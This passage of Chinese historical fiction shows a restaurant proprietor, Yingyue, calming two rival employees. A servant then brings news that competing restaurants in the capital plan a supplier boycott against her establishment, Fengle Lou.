至于诗会那日的事情,她亦有说辞。 对着孙小乙,她轻轻叹了口气,带点怜悯的口吻:“你是个男子,或许不懂。春桃那孩子,自幼吃了太多苦头,见过人情冷暖。她那般往贵人跟前凑,也是盼着哪位贵人青眼,能纳她做个妾室,从此也算有了依靠。女儿家的这点心思,虽上不得台面,却也……情有可原,你说是不是?” 而面对春桃,她又说:“你年纪轻,又是女子,怕是不懂男人对权势的渴望,能到何种地步。孙小乙那般钻营,抢着在要紧人物面前露脸,与楼下那些原本瞧不起我们这酒楼诗会、如今却削尖了脑袋想挤进来的读书人,有何分别?不过是觉得,那里或许有一步登天的梯子罢了。人性如此,倒也不必过于苛责。” 而刚将孙小乙与春桃二人暂且按下,盈玥大气都还没来击喘,厢房的门便被急促叩响。庆喜推门闪入,脸上惯有的沉稳不见了,带着未及平复的喘息,急声道: “掌柜的,出事了。潘楼的何掌柜与永华楼的白掌柜,半个时辰前,将鱼行、肉行、米行、姜行……二十余家大行会的行首,全请去了潘楼!” “孙大厨托他在潘楼的旧相识打听了下,那两位掌柜,怕是要代表东京的七十二家正店,联手胁迫各行会。” “如若他们继续给丰乐楼提供供给,那东京的所有酒楼,便都不买他们的东西了。”